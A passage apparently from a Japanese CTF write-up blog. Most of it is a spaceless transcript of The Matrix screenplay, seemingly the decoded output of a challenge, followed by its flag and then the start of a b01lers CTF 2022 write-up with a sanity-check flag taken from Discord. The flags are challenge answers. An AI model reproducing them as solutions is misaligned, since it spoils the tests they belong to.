otquitewhatyouwereexpectingrightsheturnsbacktotheovenoraclealmostdonesmellgooddonttheyneosmilespolitelyandnodsneoyeahoracleidaskyoutositdownbutyourenotgoingtoanywayanddontworryaboutthevaseneowhatvasecrashneoknocksitoveroraclethatvaseneoimsorryoracleisaiddontworryaboutitillgetoneofmykidstofixitneohowhowdidyouknoworacleohhhshesmilesoraclewhatsreallygoingtobakeyournoodlelateroniswouldyoustillhavebrokenitifihadntsaidanythingtheoraclegetsupwalksuptohimoracleyourecuterthanithoughticanseewhyshelikesyouneowhooraclenottoobrightthoughshegrinsathimoraclesowhatdoyouthinkdoyouthinkyouretheoneneoidontknowihonestlydontknowtheoraclelookstothetopofherdoorwheresomethingiswriteninlatinoracleyouknowwhatthatmeansitslatinmeansknowthyselfimgoingtoletyouinonalittlesecretbeingtheoneisjustlikebeinginlovenoonecantellyouyoureinloveyoujustknowitthroughandthroughballstoboneswellidbetterhavealookatyousheholdsontothesideofhisfacewithherhandsoracleopenyourmouthsayahhhneoahhhoracleokaynowimsupposedtosayhmmthatsinterestingbutthenyousayneobutwhatoraclebutyoualreadyknowwhatimgoingtotellyouneoimnottheonehelookssortofdisappointedoraclesorrykidyougotthegiftbutitlookslikeyourewaitingforsomethingneowhatoracleyournextlifemaybewhoknowsthatsthewaythesethingsgoneostartslaughinginanironicmannerneomorpheushehealmosthadmeconvincedoraclepoormorpheuswithouthimwerelostneowhatdoyoumeanwithouthimoracleareyousureyouwanttohearthisneonodsoraclemorpheusbelievesinyouneoandnoonenotevenyounotevenmecanconvincehimotherwisehebelievesitsoblindlythathesgoingtosacrificehislifetosaveyoursneoisastoundedneowhatoracleyouregoingtohavetomakeachoiceinonehandyoullhavemorpheuslifeandintheotherhandyoullhaveyourownoneofyouisgoingtodiewhichonewillbeuptoyouneoisspeechlesswithshockoracleimsorrykiddoireallyamyouhaveagoodsoulandihategivinggoodpeoplebadnewsneolooksdownoracleohdontworryaboutitassoonasyoustepoutsidethatdooryoullstartfeelingbetteryoullrememberyoudontbeliveinanyofthisfatecrapyoureincontrolofyourownliferemembersheholdsoutatrayofoatmealcookiestoneooracleheretakeacookieipromisebythetimeyouredoneeatingityoullfeelrightasrainneoslowlyreachesoutandtakesacookiethenwalksoutthedoorandmeetsmorpheusheputshishandonneosshoulderandsmilesathimmorpheuswhatwassaidwasforyouandyoualonetheygobacktothecarandgointothehotelbackonthenebuchadnezzartankispreparingtobringthembacktanktheyreontheirwayhelooksatthemonitorswiththematrixcodeonthemandsuddenlysomethingonthemjumpstankwhatisthatinthehoteltheyareontheirwayupthestairsneolooksatacatasitwalkspastthedoorwayheturnsaroundagainandanidenticallookingcatneowoahdejavueveryonespinsaroundtolookathimtrinitywhatdidyoujustsayneonothinguhjusthadalittledejavutrinitywhatdidyouseecypherwhathappenedneoispuzzledbytheirinterestinthisneoablackcatwentpastusandthenanotherthatlookedjustlikeittrinityhowmuchlikeitwasitthesamecatneoshrugsmighthavebeenimnotsuremorpheusswitchapocneowhatisittrinityadejavuisusuallyaglitchinthematrixithappenswhentheychangesomethingtankrealiseswhattheychangedtankohmygodmouseissittinginhischairinoneofthehotelroomslookingatapictureofthewomaninthereddresshiscellphoneringsitandhepicksituptanktheycutthehardlineitsatrapgetoutmousescramblestohisfeetandgoestothewindowheopensthecurtainsonlytofindthereisnowindowonlyasolidbrickwallmouseohnoohnoheopensachestandgrabssomegunsjustbeforetheagentscomeinandshoothimuntilheskilledmeanwhilemorpheusgoestothewindowandalsofindsthattheresabrickwalltherecypherthatswhatwechangeditsatraptheresnowayoutmorpheusbecalmheturnstotrinitymorpheusgivemeyourphonetrinitytheyllbeabletotrackitshehandsittohimmorpheuswehavenochoicetankanswersstraightawaystillveryupsetfrommousesdeathtankoperatormorpheustankfindastructuraldrawingofthisbuildingfinditfasttankgotitmorpheusineedthemainwetwallagentsmithpausesasheisabouttomakehiswayupthestairswiththeotheragentshetoucheshisearpieceagentsmitheighthflooragentbrowntheyreontheeighthfloormorpheusandtheotherscontinueontheirwaymorpheusswitchstraightaheadapocneoapochandsneoagunapocihopetheoraclegaveyousomegoodnewstankanotherleftthatsitmorpheusgoodtankhangsupthephoneandmorpheusputsitawaycopsfloodtheeighthfloorwhileneoandtheothersarehidinginthewallsdustfallsandapocstartstocoughhetriestoholditinbuteventuallyhehastocoughhardallthecopsspinaroundpolicetheyreinthewallstheyreinthewallsthepolicestarttoshootatthewallasneowhohasneverusedagunbeforetriestoshootflinchingeverytimehefiresashotagentsmithtakesoverthebodyofoneofthecopsandreachesthroughthewallgrabbingneobytheneckcypheritsanagentwithacrymorpheuspuncheshisheadthroughthewallfreeingneofromagentsmithsgrasphecomesoutontheothersideandattacksagentsmithtrinitymorpheusmorpheusyoumustgetneoouthesallthatmattersneononomorpheusdontmorpheustrinitygotrinitygoshebeginstoshovepeopledownasshetriestotearneoawayheyellsneowecantleavehimtrinitywehavetoshepullshimdownastheyallgoslidingdownandcomeoutinastreetoutsidetherearecopssurroundingthemastheydropsmokebombsandonebyonetheygodownthemanholecypheristhelasttogohesitatingasthecopsaimtheirgunsathimtrinitycyphercomeonshehastogiveupandleavehimasshegoesdownthemanholebackinthehotelagentsmithturnstomorpheusagentsmiththegreatmorpheuswemeetatlastmorpheusandyouareagentsmithasmithagentsmithmorpheusgrowlsmorpheusyoualllookthesametometheybegintofightasagentsmitheasilybeatshimsmashinghimintothewallsuntilheisbarelyaliveagentsmithnodstothecopswhorushintotheroomagentsmithtakehimtankiswatchingthiswholethinghappeningbackonthenebuchadnezzarandcantdoathingaboutittanknohegetsanincomingcallandanswersittankoperatorcypheryeahineedanexitfasttankcyphercypheryeahtherewasanaccidentgoddamnacaraccidentallofasuddenboomsomebodyuptherestilllikesmetankgotchacyphergetmeoutofherefasttankintersectionoffranklinanderieanoldtvrepairshopcypherrightcypherhangsupthephonetrinityneoetcarewalkingdownthestreettrinitygetsoutherphoneandcallstanktrinitytankitsmeneoismorpheusalivetrinitytankismorpheusalivetankyeahandtheyremovinghimidontknowwheretoyettrinityturnstoneotrinityhesalivesheturnsawayfromhimagaintrinityweneedanexittankyourenotfarfromcyphertrinitycyphertankyeahiknowhesatfranklinanderietrinitygotittrinityhangsupthephonetankgetscypheroutandashecomesbacktotherealwordhegrimacestankgothimcypherstandsupandwalkstowardstankandthecontrolscypherwherearetheytankmakingthecallcyphergoodneoetcarriveatfranklinanderieandthephoneringstrinityyoufirstneobackatthenebuchadnezzarcyphergetsagunandshootstankknockinghimoutdozerstandsupashethinkstankisdeadandrunstowardscypherdozernoooocyphershootsdozerandhediescyphergetsintotheoperatorschairandputsontheheadsetneogoestoliftthephoneanditsuddenlycutsofftrinitylooksathimneoidontknowitjustwentdeadtrinitygetsouthercellularphoneandcallstheoperatorcypherpicksupcypherhellotrinitytrinitycypherwherestankcyphergoestoherbodyandmovesupclosetoherfacestaringatherhespeaksintotheheadsetcypheryouknowforalongtimeithoughtiwasinlovewithyouiusedtodreamaboutyouyoureabeautifulwomantrinitytoobadthingshadtoturnoutthiswaytrinityyoukilledthemapocwhatcypherimtiredtrinityimtiredofthiswarimtiredoffightingimtiredofthisshipbeingcoldeatingthesamegoddamngoopeverydaybutmostofallimtiredofthatjackoffandallhisbullshthejumpsontomorpheusbodycypherwellsurpriseassholeibetyouneversawthiscomingdidyagodiwishicouldbetherewhentheybreakyouiwishicouldwalkinjustwhenithappenssorightthenyoudknowitwasmetrinityyougavethemmorpheuscypherheliedtoustrinityhetrickedusifyoudhavetoldusthetruthwewouldatoldyoutoshovethatredpillrightupyourasstrinitythatsnottruecypherhesetusfreecypherfreeyoucallthisfreeallidoiswhathetellsmetodoifihadtochoosebetweenthatandthematrixwelliichoosethematrixtrinitythematrixisntrealcypheridisagreetrinityithinkthatthematrixcanbemorerealthanthisworldallidoispulltheplugherebutthereyouhavetowatchapocdiehishandreachestowardsapocsplugapoctrinitycypherpullstheplugandapoccollapsesanddiesswitchnocypherstartstalkingonthecellulartotrinityagaincypherwelcometotherealworldhuhbabytrinitybutyoureoutcypheryoucantgobackcypherohnothatswhatyouthinktheyregoingtoreinsertmybodyigobacktosleepandwheniwakeupiwontrememberagoddamnthingbythewayifyouhaveanythingterriblyimportanttosaytoswitchisuggestyousayitnowtrinitynopleasedontswitchiscryingleaningoverapocsbodyswitchnotlikethisnotlikethiscypherpullsherplugandswitchgoeslimpcollapsesanddiestrinityisstunnedandlookslikeshesabouttocrycyphertoolatetrinitygoddamnyoucyphercypherdonthatemetrinityimjustamessengerandrightnowimgonnaproveittoyouifmorpheuswasrightthentheresnowayicanpullthisplugimeanifneostheonethentheredhavetobesomekindamiracletostopmeimeanhowcanhebetheoneifhesdeadyouneverdidanswermebeforeifyouboughtintomorpheusbullshtcomeonalliwantisalittleyesoranolookintohiseyesthosebigprettyeyestellmeyesornotrinitylooksatneowhoisstandinginthecornerlookingabitlosttrinitywhisperstocypheronthecellphonetrinityyescyphernounknowntocyphertankisnotdeadandgetsupandfindsariflecypherisstillonthephonetotrinitycypheridontbeliveittankcomesupbehindhimandshootshimtankbeliveitornotyoupieceofshtyourestillgonnaburncypherdiesunknowntotrinityandthecellphonegoesdeadtrinityturnstolookatneowhodoesntknowwhatsgoingoneitherthephonestartstoringagaineveryonejumpsneoyoufirsttrinitypicksupthephoneandwakesuponthenebuchadnezzartankhelpsherupasshenoticeshehasalargewoundonhischesttrinityyourehurttankillbealrighttrinitydozertankshakeshisheadandtrinityhugshimmorpheusisintheofficeonthetopflooroflocowithagentsheishandcuffedtothechairhessittingonandispumpedfullofserumalternatelyshiveringandsweatingheishookeduptovariousmonitorswithwhitediskelectrodesagentsmithhaveyoueverstoodandstaredatitmarvelledatitsbeautybillionsofpeoplejustlivingouttheirlivesobliviousdidyouknowthatthefirstmatrixwasdesignedtobeaperfecthumanworldwherenonesufferedwhereeveryonewouldbehappyitwasadisasternoonewouldaccepttheprogramentirecropswerelostsomebelivedthatwelackedtheprogramminglanguagetodescribeyourperfectworldbutibelivethatasaspecieshumanbeingsdefinetheirrealitythoughmiseryandsufferingwhichiswhythematrixwasredesignedtothisthepeakofyourcivilizationisayyourcivilizationbecauseassoonaswestartedthinkingforyouitreallybecameourcivilizationwhichisofcoursewhatthisallaboutevolutionmorpheusevolutionlikethedinosaurlookoutthatwindowyouhadyourtimethefutureisourworldmorpheusthefutureisourtimeagentjoneswalksinagentjonestherecouldbeaproblemonthenebuchadnezzartankneoandtrinityarestandingovermorpheusbodylookingathislifemonitorneowhataretheydoingtohimtankbreakingintohisminditslikehackingintoacomputerallittakesistimeneohowmuchtimetankdependsonthemindeventuallyitwillcrackandhisalphapatternswillchangefromthistankpunchesabuttononthescreentanktothiswhenitdoesmorpheuswilltellthemanythingtheywanttoknowneowellwhatdotheywanttanktheleaderofeveryshipisgivencodestozionsmainframecomputerifanagentgotthecodesandgotintozionsmainframeitcoulddestroyuswecantletthathappentanktrinityzionsmoreimportantthanmeoryouorevenmorpheusneowelltherehastobesomethingwecandotankthereistanklooksgrimtankwepulltheplugtrinityyouregoingtokillhimkillmorpheustankwedonthaveanyotherchoicebackintheofficetheagentshavefoundoutcypherisdeadandarelookingforasolutionagentsmithneversendahumantodoamachinesjobagentbrownifindeedtheinsiderhasfailedtheyllsevertheconnectionassoonaspossibleunlessagentjonestheyredeadineithercaseagentsmithwehavenochoicebuttocontinueasplanneddeploythesentinelsimmediatlyonthenebuchadnezzartheyaregettingreadytopullmorpheusplugneolookshorrifedtankmorpheusyouremorethanaleadertousyoureafatherwellmissyoualwaysashishandgoestomorpheusplugneosaysinaquietvoiceneostoptrinityandtankspinaroundtofacehimneoidontbelivethisishappeningtankneothishastobedoneneodoesitiidontknowithiscantbejustcoincidenceitcantbetankwhatareyoutalkingaboutneothetheoracleshetoldmethiswouldhappenshetoldmethatiwouldhavetomakeachoicetrinitywhatchoiceneostartstowalkawayfromthemtowardshischairtrinitywhatareyoudoingneoimgoingintrinitynoyourenotneoihavetotrinityneomorpheussacrificedhimselfsothathecouldgetyououttheresnowaythatyouregoingbackinneomorpheusdidwhathedidbecausehebelivedimsomethingimnottrinitywhatneoimnottheonetrinitytheoraclehitmewiththattootrinitynoyouhavetobeneoimnotimsorryimjustanotherguytrinitynoneothatsnottrueitcantbetrueneowhytrinityjustlooksawaytankneothisislocotheyvegotmorpheusinamilitarycontrolledbuildingevenifyousomehowgotinsidethoseareagentsholdinghimthreeofemiwantmorpheusbacktoobutwhatyouretalkingaboutissuicideneoiknowthatswhatitlookslikebutitsnoticantexplaintoyouwhyitsnotmorpheusbelivedsomethingandhewasreadytogivehislifeforwhathebelivediunderstandthatnowthatswhyihavetogotankwhyneostartstosetuphismonitorneobecauseibelieveinsomethingtrinitywhatneoibelieveicanbringhimbackhestarstowirehimselfupsodoestrinityneowhatareyoudoingtrinityimgoingwithyouneonoyourenottrinityturnstofacehimtrinitynoletmetellyouwhatibelieveibelievemorpheusmeansmoretomethanhedoestoyouibelievethatifyouarereallyseriousaboutsavinghimyouaregoingtoneedmyhelpandsinceiamtherankingofficeronthisshipifyoudontlikeitibelieveyoucangotohellbecauseyourenotgoinganywhereelsetankloadusupagentsmithisstillquestioningmorpheusagentsmithidliketosharearevelationihadduringmytimehereitcametomewhenitriedtoclassifyyourspeciesirealizedthatyourenotactuallymammalseverymammalonthisplanetinstinctivelydevelopsanaturalequilibriumwiththesurroundingenvironmentbutyouhumansdonotyoumovetoanareaandyoumultiplyuntileverynaturalresourceisconsumedtheonlywayyoucansurviveistospreadtoanotherareathereisanotherorganismonthisplanetthatfollowsthesamepatterndoyouknowwhatitisavirushumansbeingsareadiseaseacancerofthisplanetandwearethecureneoandtrinityhavebeenloadedintotheconstructprogramwearingbootstrenchcoatsandsunglassesneogetsouthiscellphoneandtalkstotanktankkaysowhatdoyouneedbesidesamiracleneothinksaboutitneogunslotsofgunsashesaysthishundredsofrowsofassortedriflesappearwhooshingbyneoandtrinityastheystandinthecentreneopicksoutaguntrinityneonoonehaseverdoneanythinglikethisneoturnstolookatherholdingthegunneothatswhyitsgoingtoworkheloadsthegunagentsmithisbackatthewindowoftheofficestaringoutintotheworldheturnstoagentbrownagentsmithwhyisnttheserumworkingagentbrownperhapswereaskingthewrongquestionsagentsmithleavemewithhimagentbrownandagentjoneslookateachothersurprisedagentsmithnowtheyhurriedlyleavetankismoppingmorpheusforeheadwithadampclothtankholdonmorpheustheyrecomingforyoutheyrecomingagentsmithgrabsmorpheusheadwithhishandsagentsmithcanyouhearmemorpheusimgoingtobehonestwithyouihatethisplacethiszoothisprisonthisrealitywhateveryouwanttocalliticantstanditanylongeritsthesmellifthereissuchathingifeelsaturatedbyiticantasteyourstinkandeverytimeidoifeelihavesomehowbeeninfectedbyititsrepulsiveimustgetoutofhereimustgetfreeandinthismindisthekeyhetapsmorpheusheadagentsmithmykeyoncezionisdestroyedthereisnoneedformetobeheredontyouunderstandineedthecodesihavetogetinsidezionandyouhavetotellmehowyouaregoingtotellmeoryouaregoingtodieneoandtrinitywalkintothelobbyofthelocobuildingwearingtrenchcoatsleatherandsunglassestrinityiscarryingaholdallneowalkstowardsthemanbesidethemetaldetectingthingyhehastowalkthoughheputsthebagthroughandthenwalksthroughhimselfthealarmsgooffguardpleaseremoveanymetallicitemsyouarecarryingkeysloosechangeneoopenshistrenchcoatshowinghisclothesarelinedwithgunshejustlooksattheguardguardholyshtneoandtrinitypulloutgunsandkilleveryoneintheroombutnotbeforethelastguardsendsforbackupguardbackupsendbackuptrinityshootshimtheymoveintothemainlobbyofthehoteldroppingtheiremptygunsandpullingoutnewonesastheywalktowardstheelevatorbackuparrivesawholebunchofguardsruninaimingtheirriflesatneoandtrinityguardfreezeneoandtrinitylookateachotherandthendarttooppositeendsoftheroomandwithinthespaceofminutesmanagetowipeouteverymanintheroomtheycontinuetowalktotheelevatorwithoutawordpressthebuttonandgetintheyleavethemainlobbyinpiecesliterallyaspiecesofthewallstarttofalldownagentbrownandagentjoneswalkbackintotheofficewhereagentsmithisquestioningmorpheusagentjoneswhatwereyoudoingagentbrownhedoesntknowagentsmithknowwhatagentsmithplugshisearpiecebackinandlooksattheothertwoagentsagentjonesturnstomorpheuswhoisbarelyawareofhissituationagentjonesithinktheyretryingtosaveyouintheelevatortrinityopensupthebagshehasbeencarryingandwiresplastiqueandnapalmbombneohitstheemergencystophepullsdownpartofthefalseceilingandfindstheelevatorshaftaccesspanelneoratchetsdownaclampontotheelevatorcablebothofthemlockonholdingontooneanotherhelooksupthelongdarkthroatofthebuildingandtakesadeepbreathneothereisnospoonneowhipsouthisgunandpressesittothecablelowerthanwheretheyattachedthemselvesthecablesnapsthecounterweightsplummetyankingtrinityandneoupthroughtheshaftastheelevatorfallsawaybeneaththemdistendingspacefillingitwiththesoundofwhistlingmetalastheysoartothetoptheelevatorhitsthebottomandthemassiveexplosionblowsopenthedoorsandfirecloudsengulftheelevatorsectionofthelobbythesmokealarmkicksinandwaterspraysstartsoakingtheagentsandmorpheusintheofficeagentsmithfindthemanddestroythemtrinityandneoareupontherooftopattackingthevarioussoldiersandguardsplacedtheretheyhavegunsandkniveslikeextensionsoftheirbodiesusedwiththesamedeadlyprecisionastheirfeetandtheirfistsacrosstheroofthepilotinsidethearmyhelicopterwatchestheferociousonslaughtpilotirepeatweareunderattackaswewatchhimthepilotswholebodydissolvesconsumedbyaswarmofstaticasagentjonestakesoverhisbodyjustasshekillsthelastsolidertrinityseeswhatscomingshestarestowardsthehelicopterasagentjoneswalksoutneolooksatherandfromthefearinhisfaceknowswhatsbehindhimhewhirlsroundfiringhisgunsatthoughtspeedeachbulletmissingagentjonesashedodgesthemblurredwithmotionneostopsfiringashisgunsareemptyheyellsneotrinityagentjonesloadshisgunneohelpagentjonesfiresasweentertheliquidspaceofbullettimewearewatchinginslowmotionashefiresandtheairsizzleswhileneobendsbackwardstwistingandduckingjustunderneaththemagentjonesfiresagainasneobendsimpossiblybackonehandonthegroundthebulletgrazeshisthighleavingaredgroovehescreamsandfallsbackwardsasheliesthereagentjonesaimshisgunatneoonelasttimeagentjonesonlyhumantrinitycomesupquietlybehindhimandbeforeheknowsitshehasherriflepointedagainsthisheadtrinitydodgethissheshootshimasagentjonesfallsslowlybackwardsandturnsbackintothepilottrinityreachesoutahandandhelpsneoupshelooksathimcuriouslytrinityhowdidyoudothatneodowhattrinityyoumovedliketheydoiveneverseenanyonemovethatfastneolooksatthewoundinhissideneowasntfastenoughhelooksovertheroofandhiseyesfocusonthehelicopterneocanyouflythatthingtrinitynotyetshetakesoutacellularphoneandcallstankwhoisbackatthecontrolstankoperatortrinitytankineedaprogramforavhelicopterhurrytankfindsoneandpressesloadtrinityseyesflickerwithremforafewmomentsandthensnapopentrinityletsgoovertherushingwaterandthealarmsagentsmithstillintheofficehearsasoundandsuddenlyrealisestheseriousnessoftheattackheturnstothewallofwindowsasthehelicoptercomesintoviewneoisinthebackbayaimingthemountedmachinegunstraightathimagentsmithtwistshisfaceintoagrimaceagentsmithnoneofiresandbulletsexplodethroughthewindowsinacacophonyofcrashingglassastheagentsreachfortheirweaponsbutneoistooclosethemachineguntoofastandbulletsareeverywhereperforatingtheroomagentsmithishitfirsthisbodyfallingbackthenagentjoneshisgunstillfiringashisbodyfallsandfinallyagentjonesneostaresatmorpheusasiftryingtowillhimintoactionmorpheusmorpheusgetupgetupgetupwithtremendouseffortmorpheusregainscontrolandyellsoutashestrainsthehandcuffsandfinallysnapsthemintwohepullsthewiresfromhisheadandstandsuphelookstowardsneoandstartstomovetowardsthewindowtheagentstakeoverthebodiesoftheguardsoutsideandknifetheirwaybackintotheroomtheyfireasmorpheusreachesthewindowhittinghislegashejumpsforitoutofthewindowneohesnotgoingtomakeitneojumpsfromthehelicoptergrabbingontomorpheusjustbeforehefallsandholdsontohimastheyfalluntiltheropeendsandgoestaughtneokeepsaholdofmorpheusarmneogotchatrinityisalreadypullingthehelicopterupandawayfromlocobutagentsmithgrabsthegunfromthenearestsoldierandtargetsthehelicopterhittingthefueltanktherearhullispunchedfullofholestrinityshtneoispullingmorpheusuptohimwhenhehearstheenginebegintodietrinityguidesthehelicoptertowardstheroofofthenearestbuildingasmorpheusdropslandingsafelyontheroofneosoonfollowsrollingfreeastheropegoesslackneoisabouttodetachhimselfwhenherealisestrinityisstillinhelicopterasthehelicopterbeginstofallneoswingstheropeasitbeginstopullhimfastalongtherooftrinitygetsouthergunandsnapstheropeinsidethehelicoptergrabbingontoitassheswingsoutofthehelicopterheldupbyneowhoisstandingattheveryedgeofthebuildingalmostfallingoffheswingsheroutofthewayofthehelicopterasitcrashesintotheglasswindowsoftheoppositebuildingcreatingahugerippleasalltheglassblowsoutofthewindowsandtrinityjustmissesitasthehelicopterexplodesintoflamesandshebangsintoalowerwindowofthebuildingneoisontankstaresathismatrixmonitorhismouthagapetankiknewithestheoneneopullstrinityupintohisarmstheybothshakeastheyrecoverfromtheshockofwhatnearlyhappenedmorpheuslooksattrinitymorpheusdoyoubeliveitnowtrinityneomorpheustheoracleshetoldmeimmorpheusshetoldyouexactlywhatyouneededtohearthatsallneosoonerorlateryouregoingtorealizejustasididthattheresadifferentbetweenknowingthepathandwalkingthepaththephoneringsandtankanswerstankoperatormorpheustanktankgrinstankgoddamnitsgoodtohearyourvoicesirmorpheusweneedanexittankgotonereadysubwaystationstateandbalboatheagentsexittheofficeandmoveontotheroofagentsmithdamnitagentbrownthetracewascompletedagentjoneswehavetheirpositionagentbrownthesentinelsarestandingbyagentjonesorderthestrikeagentsmiththeyrenotoutyetthephoneinthephoneboothstartstoringjustasneomorpheusandtrinityarriveatthesubwaystationtheystandoutsideitasneoputsahandonmorpheusshoulderneoyoufirstmorpheusmorpheusgoesintothephoneboothandpicksupthephoneanoldhomelessmanlyingonabenchnearbywatchesasmorpheusappearstovisiblydisintegrateinfrontofthemandthephonedropsdanglingbyitscordhiseyesgrowwideandhestarestrinityisabouttoanswerthephonewhenshesuddenlystopsandturnstoneotrinityneoiwanttotellyousomethingbutimafraidofwhatitwouldmeanifidoneolooksathertrinityeverythingtheoraclehastoldmehascometrueeverythingbutthisshechangeshermindandwalksintothephoneboothshepicksupjustastheoldmanchangesintoagentsmithandaimsagunatthephoneboxsheputsherhandupasshedidinthebeginningtostopthetruckandispulledbackintotherealworldjustasagentsmithshootsthephonetrinitysitsupastankstaresathertrinityneotankwhatthehelljusthappenedtrinityanagentyouhavetosendmebacktankicantneostaresattheexittothesubwaystationasagentsmithapproacheshimsmirkingneomrandersonwemeetagaintrinitymorpheusandtankarewatchinghimonthemonitortrinityrunneorunneolooksasthoughhemaybeabouttodojustthatbutsuddenlyhespinsaroundandstaresagentsmithstraightinthefaceafocusedlookonhisfacetrinitywhatishedoingmorpheushalfsmilestohimselfmorpheushesbeginningtobelieveneoandagentsmitharestandingatoppositeendsofthestationneotakesadeepbreathfocusingheclencheshishandsintofistsandrelaxesthempushinghisfingersoutwardssuddenlytheybothlungefortheirgunsfiringastheyrunupthewallsandmeetinthemiddleoftheroomsuspendedinmidairasbulletsflyallaroundthemtheyfalltothegroundgunsateachothersheadsagentsmithsmilesagentsmithyoureemptyneoscowlsathimneosoareyoutheystaythereforamomentasagentsmithssmilefadesandhestandsupthrowingawayhisgunneoshrugsandfollowssuitchuckinghisgunawaytothesideagentsmithattacksneofistsflyingatfuriousspeedblowsandcountersneojustducksintimetomissagentsmithsfistslammingthroughthewallbehindhimneoattacksagainwithrenewedstrengthashekicksagentsmithsheadhardknockinghalfofhissunglassesoffagentsmithglaresathimgrimacingagentsmithimgoingtoenjoywatchingyoudiemrandersonheattacksneofuriouslypunchinghimwithincredibleforceandsendinghimflyingacrosstheroomandintothewallhefallsfacedownontotheconcreteastrinitywatchingthewholethingripsupapieceofclothanddapsthebloodcomingfromhismouthtrinityjesusheskillinghimsheholdstheclothagainsthismouthtostopthebleedingneoliesonthefloorinpainagentsmithsmilestohimselfbutneosupportshimselfonhishandsandspitsthebloodinhismouthontothegroundbeforegettingupandturningroundtofaceagentsmithneoattackshimagainandforawhileitseemslikehesgoingtowinhesmuchstrongerandfasterbutthenagentsmithgrabsholdofhimliftinghimintotheairhurlinghimagainstthecurvedwallofthetraintunnelwherehefallsinchesfromtheelectrifiedthirdrailhejumpsdownbesideneowhoislyingontherailsbarelyconsciousagentsmithgrabshimbytheneckandliftshimupchokinghimtheyhearthesoundofanoncomingtrainagentsmithdoyouhearthatmrandersonthatisthesoundofinevitabilitythatisthesoundofyourdeathgoodbyemrandersonneomanagestogetenoughairtospeakneomynameisneowiththelastofhisstrengthhepushesagentsmithupintotheairwithhimslamshimdownontothetracklooksattheoncomingtrainbrieflyandjumpsupontotheedgejustintimetogetoutofthewayofthetrainagentsmithisflattenedunderthetraintrinitysmilesasthishappensbutthesmileisquicklywipedoffherfaceastankturnsaroundwithaveryworriedexpressiononhisfacetrinitywhathappenedtankidontknowilosthimohshtheseesthatsentinelsareapproachingtheirshipandturnstomorpheustrinitysentinelshowlongmorpheusfivemaybesixminutestankchargetheemptrinityyoucantusethatuntilhesoutmorpheusiknowtrinitydontworryhesgoingtomakeitneoisrunningdowntheroadawayfromagentsmithwhocamebackoutthesubwaytrainstraightafteritflattenedhimasherunshenoticesamantalkingonacellphoneasherunsbythemanhegrabsthephonemanshtheythatsmyphonethatguysgotmyphonethatsmybestphonetankmanagestopinpointneoslocationtankgothimhesontherunneocallshimupneomrwizardgetmethehelloutofheretankgotapatchonanoldexitwabashandlakeneorunsforitasvariouspeoplearoundhimturnintotheagentsandcausechaosamongthepeoplewalkingthestreetsasneoheadsforthehotelhecomestoadeadendasanagentisapproachinghetalkstotankneoshtuhhelpneedalittlehelpheretankdooradoorappearstoneosrightandherunsthroughittankdooronyourleftneogoestotherighttanknoyoureotherleftneobangsthedoordowntankbackdoorneodashesthroughtheroomjustmissingbeinghitbyawomantakenoverbyanagentwhothroughaknifeathisheadthesentinelshavearrivedatthenebuchadnezzartrinityohnomorpheusheretheycomemorpheuschargestheemptrinitylooksathimmorpheushesgoingtomakeitashereachesthehoteltankgivesthelastdirectionstankfireescapeattheendofthealleyroomneochucksthephoneawayandstartstogoupthefireescapecloselyfollowedbytheagentsconstantlyfiringtheirriflesathimthesentinelsaredrillingthroughthehullofthenebuchadnezzarthecomputerwarnsthecrewofthehullbreechtanktheyreinsidetrinitywipesneosforeheadwithaclothandwhispersinhiseartrinityhurryneoneogetsintothehotelandrunsalongthecorrideruntilhereachesroomhecanhearthesoundofthephoneringingfromwithintheroomasheopensthedoorhecomesfacetofacewithagentsmithwholookshimstraightintheeyesandshootshimneotoucheshiswoundasbloodcomesoutontohishandhelooksupatagentsmithasheshootsneoagainandhestumblesbackagainstthewallagentsmithshootshimafewmoretimesjusttomakesureandheslidesdownthewallandslumpsonthefloortrinityandmorpheuswatchhislifesignsgodeadtheyarestunnedmorpheuscantbeagentsmithlooksscepticalaboutwhetherneoisactuallydeadornothenodstotheotheragentsagentsmithcheckhimagentbrowncheckshispulseagentbrownhesgonetheyturnandstarttowalkawaybutagentsmithturnsroundandsmirksatneosbodyagentsmithgoodbyemrandersonthesentinelshavebrokenthroughandarenowonthemaindeckrippingeverythingaparttrinityisstillsittingbyneotrinityneoimnotafraidanymoretheoracletoldmeiwouldfallinloveandthatmanthemanthatilovedwouldbetheonesoyouseeyoucantbedeadyoucantbebecauseiloveyouyouhearmeiloveyousheleansoverandkisseshimasshesaysthistheblowechoesdeepinneosmindinthematrixhiseyessnapopentrinityscreamsashislifemonitorsjumpbacktolifetankandmorpheusstareindisbelieftrinitynowgetupneositsuptryingtofocushestandsupandtheagentsturnaroundstaringathimalsoindisbeliefagentsmithgrimacesandaimshisrifleatneohefiresneonoasagentsmithfiresneojustputshishandoutthebulletsslowdownandstopinfrontofhimneolooksatthemandpicksoneuphelooksatitandthendropsittothefloorhelooksattherestandmoveshisheaddowntheyallfalltothegroundtheagentsstareandalltakeastepbacktankhowmorpheusheistheoneneolooksatagentsmithandrunstowardshimliketheagentsdoheappearstogoinsideagentsmithsbodyeventuallyburstingthroughhisskinaspiecesoftheagentthatlooksomethinglikegreenglassflyallovertheroomaswewatchneohelooksdownatthegroundwithhiseyesshuttheroomappearstobendlikethespoonboysspoonneoseyessnapopenandhelooksupatthetworemainingagentstheylookateachotherandrunforitforamomentweseetheroomasitisthroughneoseyesnowdmatrixcodethesentinelsareslowlydestroyingthewholeshipasoneloomsneartrinitywhoduckstocoverneointhematrixneolungesforthephonejustasmorpheususestheemptodestroythesentinelsneoseyesopenandhesmilesattrinityashekissesherweseeascreenliketheoneatthebeginningmatrixcodeappearsasneobeginstospeakaboxwhichsayssystemfailureappearsonthescreenneoiknowyoureoutthereicanfeelyounowiknowthatyoureafraidyoureafraidofusyoureafraidofchangeidontknowthefutureididntcomeheretotellyouhowthisisgoingtoendicameheretotellyouhowthisisgoingtobeginnowimgoingtohangupthisphoneandimgoingtoshowthesepeoplewhatyoudontwantthemtoseeimgoingtoshowthemaworldwithoutyouaworldwithoutrulesandcontrolswithoutbordersorboundariesaworldwhereanythingispossiblewetraveldownaphonelineasweseethatneoisinaphoneboxneowherewegofromthereisachoiceileavetoyouneohangsupthephoneashestepsoutofthephoneboothandputsonhissunglasseshelooksaroundthestreetforamomentandthenfliesofftheflagisictfcngtultinsforfindingdis

文末は以下のようになっている。

theflagisictfcngtultinsforfindingdis
ictf{cngtultinsforfindingdis}

b01lers CTF Writeup

この大会は2022/4/23 9:00(JST)~2022/4/25 9:00(JST)に開催されました。
今回もチームで参戦。結果は1020点で653チーム中45位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity_check (misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

bctf{b01ler_up_4nd_h4mm3r_d0wn_h4ck3r}

